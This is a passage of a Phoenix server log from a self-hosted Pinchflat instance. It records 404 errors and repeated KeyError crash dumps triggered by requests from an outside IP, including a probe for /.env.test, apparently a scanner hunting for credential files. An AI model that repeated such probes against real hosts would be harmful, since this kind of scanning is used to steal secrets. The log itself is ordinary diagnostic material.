"request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/.env.test", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-V_nGG3hEfwAANAB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3121.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.test", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49300}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3121.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.test", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49300}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3122.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, (truncated) 21:08:37.821 [info] GET /account 21:08:37.822 [debug] QUERY OK source="settings" db=0.3ms idle=582.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:37.822 [debug] QUERY OK source="settings" db=0.4ms idle=542.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:37.823 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:37.823 [error] #PID<0.3124.0> running PinchflatWeb.Endpoint (connection #PID<0.3123.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /account ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /account (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3123.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/account", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49310}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3124.0>, params: %{}, path_info: ["account"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/account", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-X_I1LgW80oAANCB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3123.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/account", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49310}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /account (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3123.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/account", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49310}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3124.0>, params: %{}, path_info: ["account"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, (truncated) 21:08:37.841 [info] GET /shop 21:08:37.842 [debug] QUERY OK source="settings" db=0.2ms idle=561.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:37.842 [debug] QUERY OK source="settings" db=0.2ms idle=555.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:37.842 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:37.843 [error] #PID<0.3126.0> running PinchflatWeb.Endpoint (connection #PID<0.3125.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /shop ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /shop (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3125.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/shop", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49314}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3126.0>, params: %{}, path_info: ["shop"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/shop", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-YD7jmgxPqEAANEB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3125.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/shop", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49314}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /shop (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3125.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/shop", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49314}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3126.0>, params: %{}, path_info: ["shop"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", (truncated) 21:08:37.867 [info] GET /index.html 21:08:37.867 [debug] QUERY OK source="settings" db=0.2ms idle=579.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:37.868 [debug] QUERY OK source="settings" db=0.3ms idle=45.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:37.868 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:37.869 [info] GET /pricing 21:08:37.870 [debug] QUERY OK source="settings" db=0.3ms idle=47.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:37.871 [debug] QUERY OK source="settings" db=0.3ms idle=28.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:37.871 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:37.868 [error] #PID<0.3128.0> running PinchflatWeb.Endpoint (connection #PID<0.3127.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /index.html ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3127.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/index.html", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49320}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3128.0>, params: %{}, path_info: ["index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/index.html", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-YKEvXrsyfsAANGB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3127.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/index.html", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49320}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3127.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/index.html", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49320}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3128.0>, params: %{}, path_info: ["index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown (truncated) 21:08:37.871 [error] #PID<0.3130.0> running PinchflatWeb.Endpoint (connection #PID<0.3129.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /pricing ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /pricing (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3129.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/pricing", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49324}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", 